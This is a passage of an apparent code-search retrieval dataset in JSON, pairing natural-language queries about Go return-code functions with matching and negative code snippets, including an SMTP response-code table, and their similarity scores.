{\\n\\t\\tformat = \\\"\\\"\\n\\t} else {\\n\\t\\tvar ok bool\\n\\t\\tformat, ok = v[0].(string)\\n\\t\\tif !ok {\\n\\t\\t\\tformat = strings.Repeat(\\\"%v\\\", len(v))\\n\\t\\t} else {\\n\\t\\t\\tv = v[1:]\\n\\t\\t}\\n\\t}\\n\\tmessage = fmt.Sprintf(format, v...)\\n\\n\\te := &Error{}\\n\\te.Description = message\\n\\te.Class = int32(class)\\n\\te.Stack = getStack(1)\\n\\te.Created = time.Now().UnixNano()\\n\\te.Code = code.String()\\n\\treturn e\\n}\",\n \"func Code(code int) {\\n\\tDefault.ExitCode = code\\n\\tpanic(msg{Default, \\\"\\\"})\\n}\",\n \"func (o *CreateTagDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func NewReturnNode(info token.FileInfo) *ReturnNode {\\n\\treturn &ReturnNode{\\n\\t\\tFileInfo: info,\\n\\t\\tNodeType: NodeReturn,\\n\\t}\\n}\",\n \"func NewCode(cause CausedBy, low uint32) Code {\\n\\treturn Code(uint32(cause) + low)\\n}\",\n \"func (err *ErrDescriptor) New(attributes Attributes) Error {\\n\\tif err.Code != NoCode && !err.registered {\\n\\t\\tpanic(fmt.Errorf(\\\"Error descriptor with code %v was not registered\\\", err.Code))\\n\\t}\\n\\n\\treturn &impl{\\n\\t\\tmessage: Format(err.MessageFormat, attributes),\\n\\t\\tcode: err.Code,\\n\\t\\ttyp: err.Type,\\n\\t\\tattributes: attributes,\\n\\t}\\n}\",\n \"func newResponse(code int, body io.Reader, req *http.Request) *http.Response {\\n\\tif body == nil {\\n\\t\\tbody = &bytes.Buffer{}\\n\\t}\\n\\n\\trc, ok := body.(io.ReadCloser)\\n\\tif !ok {\\n\\t\\trc = ioutil.NopCloser(body)\\n\\t}\\n\\n\\tres := &http.Response{\\n\\t\\tStatusCode: code,\\n\\t\\tStatus: fmt.Sprintf(\\\"%d %s\\\", code, http.StatusText(code)),\\n\\t\\tProto: \\\"HTTP/1.1\\\",\\n\\t\\tProtoMajor: 1,\\n\\t\\tProtoMinor: 1,\\n\\t\\tHeader: http.Header{},\\n\\t\\tBody: rc,\\n\\t\\tRequest: req,\\n\\t}\\n\\n\\tif req != nil {\\n\\t\\tres.Close = req.Close\\n\\t\\tres.Proto = req.Proto\\n\\t\\tres.ProtoMajor = req.ProtoMajor\\n\\t\\tres.ProtoMinor = req.ProtoMinor\\n\\t}\\n\\n\\treturn res\\n}\",\n \"func TestAddenda99MakeReturnCodeDict(t *testing.T) {\\n\\tcodes := makeReturnCodeDict()\\n\\t// check if known code is present\\n\\t_, prs := codes[\\\"R01\\\"]\\n\\tif !prs {\\n\\t\\tt.Error(\\\"Return Code R01 was not found in the ReturnCodeDict\\\")\\n\\t}\\n\\t// check if invalid code is present\\n\\t_, prs = codes[\\\"ABC\\\"]\\n\\tif prs {\\n\\t\\tt.Error(\\\"Valid return for an invalid return code key\\\")\\n\\t}\\n}\",\n \"func New() string {\\n\\treturn GenerateReasonableCode(6)\\n}\",\n \"func NewCode(code gcode.Code, text ...string) error {\\n\\treturn &Error{\\n\\t\\tstack: callers(),\\n\\t\\ttext: strings.Join(text, \\\", \\\"),\\n\\t\\tcode: code,\\n\\t}\\n}\",\n \"func (o *SecurityKeyManagerKeyServersCreateDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func New(code int, err error) error {\\n\\treturn &httpError{err: err, code: code}\\n}\",\n \"func (o *NvmeSubsystemMapCreateDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (o *SnapshotCreateDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func newSuccessResp(key, msg string) *ResponseType {\\n\\treturn &ResponseType{Ok: true, Message: msg, Key: key}\\n}\",\n \"func New(statusCode int, message string) *Error {\\n\\treturn &Error{\\n\\t\\tstatusCode: statusCode,\\n\\t\\tMessage: message,\\n\\t}\\n}\",\n \"func (o *GetConstructorOK) Code() int {\\n\\treturn 200\\n}\",\n \"func (o *FpolicyPolicyCreateDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func New(status int, msg string) error {\\n\\treturn Wrap(status, errors.New(msg))\\n}\",\n \"func (o *ObjectsClassReferencesCreateOK) Code() int {\\n\\treturn 200\\n}\",\n \"func newError(t *txn) *Error {\\n\\treturn &Error {\\n\\t\\tErr \\t: t.resp.ErrCode,\\n\\t\\tDetail\\t: t.resp.GetErrDetail(),\\n\\t}\\n}\",\n \"func newProgramCode() programCode {\\n\\tvar code programCode\\n\\tcode.intMap = make(map[string]int64)\\n\\tcode.stringMap = make(map[string]string)\\n\\tcode.strCounter = 0\\n\\tcode.funcSlice = make([]string, 100) // TODO: Make this more dynamic e.g.: zero-length slice with dynamic append()\\n\\tcode.lastLabel = make([]string, 100) // TODO: Make this more dynamic e.g.: zero-length slice with dynamic append()\\n\\tcode.labelCounter = 0\\n\\n\\tcode.indentLevel = 0\\n\\tcode.labelFlag = false\\n\\tcode.forLoopFlag = false\\n\\tcode.code = \\\"\\\"\\n\\tcode.funcCode = make([]string, 100) // TODO: Make this more dynamic e.g.: zero-length slice with dynamic append()\\n\\n\\treturn code\\n}\",\n \"func New(data ...Instr) *Code {\\n\\n\\treturn &Code{data, nil}\\n}\",\n \"func init() {\\n\\n\\tCodes = Responses{}\\n\\n\\tCodes.FailLineTooLong = (&Response{\\n\\t\\tEnhancedCode: InvalidCommand,\\n\\t\\tBasicCode: 554,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Line too long!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailMailboxDoesntExist = (&Response{\\n\\t\\tEnhancedCode: InvalidCommand,\\n\\t\\tBasicCode: 550,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Sorry, no mailbox here by that name!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailNestedMailCmd = (&Response{\\n\\t\\tEnhancedCode: InvalidCommand,\\n\\t\\tBasicCode: 503,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Nested mail command!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailBadSequence = (&Response{\\n\\t\\tEnhancedCode: InvalidCommand,\\n\\t\\tBasicCode: 503,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Bad sequence!\\\",\\n\\t}).String()\\n\\n\\tCodes.SuccessMailCmd = (&Response{\\n\\t\\tEnhancedCode: OtherAddressStatus,\\n\\t\\tClass: ClassSuccess,\\n\\t}).String()\\n\\n\\tCodes.SuccessHelpCmd = \\\"214\\\"\\n\\n\\tCodes.SuccessRcptCmd = (&Response{\\n\\t\\tEnhancedCode: DestinationMailboxAddressValid,\\n\\t\\tClass: ClassSuccess,\\n\\t}).String()\\n\\n\\tCodes.SuccessResetCmd = Codes.SuccessMailCmd\\n\\tCodes.SuccessNoopCmd = (&Response{\\n\\t\\tEnhancedCode: OtherStatus,\\n\\t\\tClass: ClassSuccess,\\n\\t}).String()\\n\\n\\tCodes.ErrorUnableToResolveHost = (&Response{\\n\\t\\tClass: ClassTransientFailure,\\n\\t\\tComment: \\\"Unable to resolve host!\\\",\\n\\t\\tBasicCode: 451,\\n\\t}).String()\\n\\n\\tCodes.SuccessVerifyCmd = (&Response{\\n\\t\\tEnhancedCode: OtherOrUndefinedProtocolStatus,\\n\\t\\tBasicCode: 252,\\n\\t\\tClass: ClassSuccess,\\n\\t\\tComment: \\\"Cannot verify user!\\\",\\n\\t}).String()\\n\\n\\tCodes.ErrorTooManyRecipients = (&Response{\\n\\t\\tEnhancedCode: TooManyRecipients,\\n\\t\\tBasicCode: 452,\\n\\t\\tClass: ClassTransientFailure,\\n\\t\\tComment: \\\"Too many recipients!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailTooBig = (&Response{\\n\\t\\tEnhancedCode: MessageLengthExceedsAdministrativeLimit,\\n\\t\\tBasicCode: 552,\\n\\t\\tClass: ClassTransientFailure,\\n\\t\\tComment: \\\"Message exceeds maximum size!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailMailboxFull = (&Response{\\n\\t\\tEnhancedCode: MailboxFull,\\n\\t\\tBasicCode: 522,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Users mailbox is full!\\\",\\n\\t}).String()\\n\\n\\tCodes.ErrorRelayDenied = (&Response{\\n\\t\\tEnhancedCode: BadDestinationMailboxAddress,\\n\\t\\tBasicCode: 454,\\n\\t\\tClass: ClassTransientFailure,\\n\\t\\tComment: \\\"Relay access denied!\\\",\\n\\t}).String()\\n\\n\\tCodes.ErrorAuth = (&Response{\\n\\t\\tEnhancedCode: OtherOrUndefinedMailSystemStatus,\\n\\t\\tBasicCode: 454,\\n\\t\\tClass: ClassTransientFailure,\\n\\t\\tComment: \\\"Problem with auth!\\\",\\n\\t}).String()\\n\\n\\tCodes.SuccessQuitCmd = (&Response{\\n\\t\\tEnhancedCode: OtherStatus,\\n\\t\\tBasicCode: 221,\\n\\t\\tClass: ClassSuccess,\\n\\t\\tComment: \\\"Bye!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailNoSenderDataCmd = (&Response{\\n\\t\\tEnhancedCode: InvalidCommand,\\n\\t\\tBasicCode: 503,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"No sender!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailNoRecipientsDataCmd = (&Response{\\n\\t\\tEnhancedCode: InvalidCommand,\\n\\t\\tBasicCode: 503,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"No recipients!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailAccessDenied = (&Response{\\n\\t\\tEnhancedCode: DeliveryNotAuthorized,\\n\\t\\tBasicCode: 530,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Authentication required!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailAccessDenied = (&Response{\\n\\t\\tEnhancedCode: DeliveryNotAuthorized,\\n\\t\\tBasicCode: 554,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Relay access denied!\\\",\\n\\t}).String()\\n\\n\\tCodes.ErrorRelayAccess = (&Response{\\n\\t\\tEnhancedCode: OtherOrUndefinedMailSystemStatus,\\n\\t\\tBasicCode: 455,\\n\\t\\tClass: ClassTransientFailure,\\n\\t\\tComment: \\\"Oops, problem with relay access!\\\",\\n\\t}).String()\\n\\n\\tCodes.SuccessDataCmd = \\\"354 Go ahead!\\\"\\n\\n\\tCodes.SuccessAuthentication = (&Response{\\n\\t\\tEnhancedCode: SecurityStatus,\\n\\t\\tBasicCode: 235,\\n\\t\\tClass: ClassSuccess,\\n\\t\\tComment: \\\"Authentication successful!\\\",\\n\\t}).String()\\n\\n\\tCodes.SuccessStartTLSCmd = (&Response{\\n\\t\\tEnhancedCode: OtherStatus,\\n\\t\\tBasicCode: 220,\\n\\t\\tClass: ClassSuccess,\\n\\t\\tComment: \\\"Ready to start TLS!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailUnrecognizedCmd = (&Response{\\n\\t\\tEnhancedCode: InvalidCommand,\\n\\t\\tBasicCode: 554,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Unrecognized command!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailMaxUnrecognizedCmd = (&Response{\\n\\t\\tEnhancedCode: InvalidCommand,\\n\\t\\tBasicCode: 554,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Too many unrecognized commands!\\\",\\n\\t}).String()\\n\\n\\tCodes.ErrorShutdown = (&Response{\\n\\t\\tEnhancedCode: OtherOrUndefinedMailSystemStatus,\\n\\t\\tBasicCode: 421,\\n\\t\\tClass: ClassTransientFailure,\\n\\t\\tComment: \\\"Server is shutting down. Please try again later!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailReadLimitExceededDataCmd = (&Response{\\n\\t\\tEnhancedCode: SyntaxError,\\n\\t\\tBasicCode: 550,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"ERR \\\",\\n\\t}).String()\\n\\n\\tCodes.FailCmdNotSupported = (&Response{\\n\\t\\tBasicCode: 502,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Cmd not supported\\\",\\n\\t}).String()\\n\\n\\tCodes.FailUnqalifiedHostName = (&Response{\\n\\t\\tEnhancedCode: SyntaxError,\\n\\t\\tBasicCode: 550,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Need fully-qualified hostname for domain part\\\",\\n\\t}).String()\\n\\n\\tCodes.FailReadErrorDataCmd = (&Response{\\n\\t\\tEnhancedCode: OtherOrUndefinedMailSystemStatus,\\n\\t\\tBasicCode: 451,\\n\\t\\tClass: ClassTransientFailure,\\n\\t\\tComment: \\\"ERR \\\",\\n\\t}).String()\\n\\n\\tCodes.FailPathTooLong = (&Response{\\n\\t\\tEnhancedCode: InvalidCommandArguments,\\n\\t\\tBasicCode: 550,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Path too long\\\",\\n\\t}).String()\\n\\n\\tCodes.FailInvalidAddress = (&Response{\\n\\t\\tEnhancedCode: InvalidCommandArguments,\\n\\t\\tBasicCode: 501,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Syntax: MAIL FROM:
[EXT]\\\",\\n\\t}).String()\\n\\n\\tCodes.FailInvalidRecipient = (&Response{\\n\\t\\tEnhancedCode: InvalidCommandArguments,\\n\\t\\tBasicCode: 501,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Syntax: RCPT TO:
\\\",\\n\\t}).String()\\n\\n\\tCodes.FailInvalidExtension = (&Response{\\n\\t\\tEnhancedCode: InvalidCommandArguments,\\n\\t\\tBasicCode: 501,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Invalid arguments\\\",\\n\\t}).String()\\n\\n\\tCodes.FailLocalPartTooLong = (&Response{\\n\\t\\tEnhancedCode: InvalidCommandArguments,\\n\\t\\tBasicCode: 550,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Local part too long, cannot exceed 64 characters\\\",\\n\\t}).String()\\n\\n\\tCodes.FailDomainTooLong = (&Response{\\n\\t\\tEnhancedCode: InvalidCommandArguments,\\n\\t\\tBasicCode: 550,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Domain cannot exceed 255 characters\\\",\\n\\t}).String()\\n\\n\\tCodes.FailMissingArgument = (&Response{\\n\\t\\tEnhancedCode: InvalidCommandArguments,\\n\\t\\tBasicCode: 550,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Argument is missing in you command\\\",\\n\\t}).String()\\n\\n\\tCodes.FailBackendNotRunning = (&Response{\\n\\t\\tEnhancedCode: OtherOrUndefinedProtocolStatus,\\n\\t\\tBasicCode: 554,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Transaction failed - backend not running \\\",\\n\\t}).String()\\n\\n\\tCodes.FailBackendTransaction = (&Response{\\n\\t\\tEnhancedCode: OtherOrUndefinedProtocolStatus,\\n\\t\\tBasicCode: 554,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"ERR \\\",\\n\\t}).String()\\n\\n\\tCodes.SuccessMessageQueued = (&Response{\\n\\t\\tEnhancedCode: OtherStatus,\\n\\t\\tBasicCode: 250,\\n\\t\\tClass: ClassSuccess,\\n\\t\\tComment: \\\"OK Queued as \\\",\\n\\t}).String()\\n\\n\\tCodes.FailBackendTimeout = (&Response{\\n\\t\\tEnhancedCode: OtherOrUndefinedProtocolStatus,\\n\\t\\tBasicCode: 554,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"ERR transaction timeout\\\",\\n\\t}).String()\\n\\n\\tCodes.FailAuthentication = (&Response{\\n\\t\\tEnhancedCode: OtherOrUndefinedProtocolStatus,\\n\\t\\tBasicCode: 535,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"ERR Authentication failed\\\",\\n\\t}).String()\\n\\n\\tCodes.ErrorCmdParamNotImplemented = (&Response{\\n\\t\\tEnhancedCode: InvalidCommandArguments,\\n\\t\\tBasicCode: 504,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"ERR Command parameter not implemented\\\",\\n\\t}).String()\\n\\n\\tCodes.FailRcptCmd = (&Response{\\n\\t\\tEnhancedCode: BadDestinationMailboxAddress,\\n\\t\\tBasicCode: 550,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"User unknown in local recipient table\\\",\\n\\t}).String()\\n\\n\\tCodes.FailBadSenderMailboxAddressSyntax = (&Response{\\n\\t\\tEnhancedCode: BadSendersMailboxAddressSyntax,\\n\\t\\tBasicCode: 501,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Bad sender address syntax\\\",\\n\\t}).String()\\n\\n\\tCodes.FailBadDestinationMailboxAddressSyntax = (&Response{\\n\\t\\tEnhancedCode: BadSendersMailboxAddressSyntax,\\n\\t\\tBasicCode: 501,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Bad sender address syntax\\\",\\n\\t}).String()\\n\\n\\tCodes.FailEncryptionNeeded = (&Response{\\n\\t\\tEnhancedCode: EncryptionNeeded,\\n\\t\\tBasicCode: 523,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"TLS required, use STARTTLS\\\",\\n\\t}).String()\\n\\n\\tCodes.FailUndefinedSecurityStatus = (&Response{\\n\\t\\tEnhancedCode: SecurityStatus,\\n\\t\\tBasicCode: 550,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Undefined security failure\\\",\\n\\t}).String()\\n}\",\n \"func (o *CreateAddonV2Default) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (o *CreateNdmpUserDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (r *ResultsProxy) SetReturnCode(returnCode int) {\\n\\tr.Atomic(func(results Results) { results.SetReturnCode(returnCode) })\\n}\",\n \"func newResponse(data map[string]string) (*AMIResponse, error) {\\n\\tr, found := data[\\\"Response\\\"]\\n\\tif !found {\\n\\t\\treturn nil, errors.New(\\\"Not Response\\\")\\n\\t}\\n\\tresponse := &AMIResponse{ID: data[\\\"ActionID\\\"], Status: r, Params: make(map[string]string)}\\n\\tfor k, v := range data {\\n\\t\\tif k == \\\"Response\\\" {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tresponse.Params[k] = v\\n\\t}\\n\\treturn response, nil\\n}\",\n \"func (o *ObjectsCreateBadRequest) Code() int {\\n\\treturn 400\\n}\",\n \"func (this *ConnackMessage) ReturnCode() ConnackCode {\\n\\treturn this.returnCode\\n}\",\n \"func (o *InsertUserKeyValueCreated) Code() int {\\n\\treturn 201\\n}\",\n \"func (o *GetProjectOK) Code() int {\\n\\treturn 200\\n}\",\n \"func (msg *UnSubAck) AddReturnCodes(ret []ReasonCode) error {\\n\\tfor _, c := range ret {\\n\\t\\tif msg.version == ProtocolV50 && !c.IsValidForType(msg.mType) {\\n\\t\\t\\treturn ErrInvalidReturnCode\\n\\t\\t} else if !QosType(c).IsValidFull() {\\n\\t\\t\\treturn ErrInvalidReturnCode\\n\\t\\t}\\n\\n\\t\\tmsg.returnCodes = append(msg.returnCodes, c)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func Return(ctx *gin.Context, code status.Code, data interface{}) {\\n\\tResponse(ctx, http.StatusOK, int(code), code.String(), data)\\n}\",\n \"func Return(code int) {\\n\\tpanic(exitCode(code))\\n}\",\n \"func Return(code int) {\\n\\tpanic(exitCode(code))\\n}\",\n \"func New(code ErrorCodeType, message string) AuthError {\\n\\treturn &MyError{code: code, message: message}\\n}\",\n \"func newSimpleExec(code int, err error) simpleExec {\\n\\treturn simpleExec{code: code, err: err}\\n}\",\n \"func (o *V2CreatePoolTemplateDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (o *PortsetCreateDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func New(code string, message string) CarError {\\n\\treturn CarError{\\n\\t\\tMessage: message,\\n\\t\\tCode: code,\\n\\t}\\n}\",\n \"func (o *CreateAntivirusServerDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func NewErrCode(code uint16) (ret ErrCode) {\\n\\tvar ok bool\\n\\tif ret, ok = errCodeMap[code]; !ok {\\n\\t\\tret = errCodeMap[cErrCodeXX]\\n\\t\\treturn\\n\\t}\\n\\treturn\\n}\",\n \"func Exit(code uint64)\",\n \"func (s *BasemumpsListener) ExitCode(ctx *CodeContext) {}\",\n \"func (o *CreateMoveTaskOrderCreated) Code() int {\\n\\treturn 201\\n}\",\n \"func New(c codes.Code, msg string) *Status {\\n\\treturn status.New(c, msg)\\n}\",\n \"func New(c codes.Code, msg string) *Status {\\n\\treturn status.New(c, msg)\\n}\",\n \"func execNew(_ int, p *gop.Context) {\\n\\targs := p.GetArgs(1)\\n\\tret := errors.New(args[0].(string))\\n\\tp.Ret(1, ret)\\n}\",\n \"func (o *SecurityLogForwardingCreateDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (o *CreateAuthUserDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (o *GetCustomObjectsByIDByIDDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (o *GetProjectDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func NewResponse(code int, body interface{}) Response {\\n\\treturn Response{\\n\\t\\tcode: code,\\n\\t\\tbody: body,\\n\\t}\\n}\",\n \"func newResponse(r *http.Response) *Response {\\n\\treturn &Response{Response: r}\\n}\",\n \"func (o *CreateRepository8Unauthorized) Code() int {\\n\\treturn 401\\n}\",\n \"func (err gourdError) ExitCode() int {\\n\\treturn err.code\\n}\",\n \"func (o *CreateSplitTestDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (o *TenancyContactGroupsCreateDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (o *CreateWorkflowDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (o *ExtrasImageAttachmentsCreateDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (o *GetCloudProjectServiceNameCreditDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (o *GetLibcVersionDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (o *ObjectsCreateUnauthorized) Code() int {\\n\\treturn 401\\n}\",\n \"func (o *RefundPaymentByExternalKeyCreated) Code() int {\\n\\treturn 201\\n}\",\n \"func (o *AddAPIDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (o *CreateSecurityListDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (o *GetNiaapiDcnmLatestMaintainedReleasesDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (o *PostPciLinksMoidDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func (o *CustomerCustomerRepositoryV1GetByIDGetMineDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func newResponse(r *http.Response) *Response {\\n\\tresponse := Response{Response: r}\\n\\n\\treturn &response\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6256469","0.6061531","0.5969034","0.5876649","0.5848557","0.58156854","0.5738153","0.57201153","0.5674279","0.5673509","0.5670998","0.56539714","0.5597719","0.5592528","0.55620515","0.54963934","0.54937226","0.54832655","0.5473726","0.54594547","0.5400026","0.53939706","0.5392257","0.5390436","0.53899866","0.5362669","0.53462726","0.53459674","0.5337195","0.53283745","0.5326292","0.53258747","0.53126967","0.52911586","0.52875143","0.5266537","0.52610373","0.52544785","0.5253109","0.5245759","0.5235128","0.52289927","0.5217822","0.52162933","0.5215078","0.5215072","0.52143735","0.521278","0.5211772","0.5208249","0.52049315","0.5195762","0.5192804","0.51909995","0.51749104","0.51709145","0.5159665","0.5158845","0.51564634","0.51554096","0.51504207","0.5142333","0.51361233","0.5123819","0.5123819","0.5123483","0.51020885","0.5097289","0.509582","0.50919425","0.50771934","0.507235","0.507064","0.5064587","0.5062003","0.50577813","0.50577813","0.5055495","0.5055001","0.50494796","0.5049438","0.50475186","0.50465643","0.50427336","0.50405264","0.5038223","0.5033158","0.5032739","0.5031704","0.5027213","0.5025094","0.50214976","0.5017593","0.50137025","0.5010565","0.50099343","0.500507","0.5002116","0.4997975","0.49954215"],"string":"[\n \"0.6256469\",\n \"0.6061531\",\n \"0.5969034\",\n \"0.5876649\",\n \"0.5848557\",\n \"0.58156854\",\n \"0.5738153\",\n \"0.57201153\",\n \"0.5674279\",\n \"0.5673509\",\n \"0.5670998\",\n \"0.56539714\",\n \"0.5597719\",\n \"0.5592528\",\n \"0.55620515\",\n \"0.54963934\",\n \"0.54937226\",\n \"0.54832655\",\n \"0.5473726\",\n \"0.54594547\",\n \"0.5400026\",\n \"0.53939706\",\n \"0.5392257\",\n \"0.5390436\",\n \"0.53899866\",\n \"0.5362669\",\n \"0.53462726\",\n \"0.53459674\",\n \"0.5337195\",\n \"0.53283745\",\n \"0.5326292\",\n \"0.53258747\",\n \"0.53126967\",\n \"0.52911586\",\n \"0.52875143\",\n \"0.5266537\",\n \"0.52610373\",\n \"0.52544785\",\n \"0.5253109\",\n \"0.5245759\",\n \"0.5235128\",\n \"0.52289927\",\n \"0.5217822\",\n \"0.52162933\",\n \"0.5215078\",\n \"0.5215072\",\n \"0.52143735\",\n \"0.521278\",\n \"0.5211772\",\n \"0.5208249\",\n \"0.52049315\",\n \"0.5195762\",\n \"0.5192804\",\n \"0.51909995\",\n \"0.51749104\",\n \"0.51709145\",\n \"0.5159665\",\n \"0.5158845\",\n \"0.51564634\",\n \"0.51554096\",\n \"0.51504207\",\n \"0.5142333\",\n \"0.51361233\",\n \"0.5123819\",\n \"0.5123819\",\n \"0.5123483\",\n \"0.51020885\",\n \"0.5097289\",\n \"0.509582\",\n \"0.50919425\",\n \"0.50771934\",\n \"0.507235\",\n \"0.507064\",\n \"0.5064587\",\n \"0.5062003\",\n \"0.50577813\",\n \"0.50577813\",\n \"0.5055495\",\n \"0.5055001\",\n \"0.50494796\",\n \"0.5049438\",\n \"0.50475186\",\n \"0.50465643\",\n \"0.50427336\",\n \"0.50405264\",\n \"0.5038223\",\n \"0.5033158\",\n \"0.5032739\",\n \"0.5031704\",\n \"0.5027213\",\n \"0.5025094\",\n \"0.50214976\",\n \"0.5017593\",\n \"0.50137025\",\n \"0.5010565\",\n \"0.50099343\",\n \"0.500507\",\n \"0.5002116\",\n \"0.4997975\",\n \"0.49954215\"\n]"},"document_score":{"kind":"string","value":"0.8980767"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106199,"cells":{"query":{"kind":"string","value":"function spec() replaces the info string of an existing ReturnCode object with the specified string and returns the updated ReturnCode object. the existing return code and description fields are left unchanged."},"document":{"kind":"string","value":"func (c *ReturnCode) spec(info string) *ReturnCode {\n\tc.info = info\n\treturn c\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func newReturnCode(kind ReturnCodeKind, code int, desc string, info string) *ReturnCode {\n\treturn &ReturnCode{kind, code, desc, info}\n}","func update(stub shim.ChaincodeStubInterface, args []string) pb.Response {\n\nfmt.Println(\"************************ UPDATE ************************* \")\n\t\n\t\tvar key string\n\n\t\t\t\tmystr :=mystruct{}\n\t\t\t\tmystr.ModelNumber = args[0]\n\t\t\t\tmystr.SerialNumber = args[1]\n\t\t\t\tmystr.CP = args[2]\n\t\t\t\tmystr.NP = args[3]\n\t\t\t\tmystr.CFlag = args[4]\n\t\t\t\tmystr.OrderNo = args[5]\n\t\t\t\tmystr.M_R_D = args[6]\n\t\t\t\tmystr.Location = args[7]\n\t\t\t\tmystr.Date_time = args[8]\n\t\t\t\t\n\t\t\t\t\n\t\tjsonAsBytes, _ := json.Marshal(mystr)\n\t\t\t\t\n\t\tkey = args[0] + \"-\" +args[1]\n\t\t\n\t\tExists, err := stub.GetState(key)\n\t\t\n\t\t\n\tif err != nil {\n\t\tjsonResp := \"{\\\"Error\\\":\\\"Failed to process for \" + key + \"\\\"}\"\n\t\tfmt.Println(\"Error after get state\", err)\n\t\treturn shim.Error(jsonResp)\n\t}\n\n\tif Exists == nil {\n\tjsonResp1 := \"{\\\"Message\\\":\\\"Counter-fiet product.\\\"}\"\n\tfmt.Println(\"Counter-fiet product.\")\n\tjsonAsBytes1, _ := json.Marshal(jsonResp1)\n\t\treturn shim.Success(jsonAsBytes1);\n\t\t\n\t} else {\n\t\n\t//Update as the value is found\n\tfmt.Println(\"Model-Serial match found\")\n\t\t\t\tfmt.Println(mystr)\n\t\t\t\tfmt.Println(jsonAsBytes)\n\t\t\t\tfmt.Println(string(jsonAsBytes))\n\n\t\t\t\terr := stub.PutState(key, jsonAsBytes)\n\t\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"Error in putState\",err)\n\t\t\t\treturn shim.Error(err.Error())\n\t\t}\n\t\tjsonResp2 := \"{\\\"Message\\\":\\\"Successfully Updated.\\\"}\"\n\t\tjsonAsBytes, _ := json.Marshal(jsonResp2)\n\t\tfmt.Println(\"All Fine\")\n\t\treturn shim.Success(jsonAsBytes);\n\t}\n\t\t\t\n}","func (cc *ChaincodeEnv) getChaincodeSpec(args 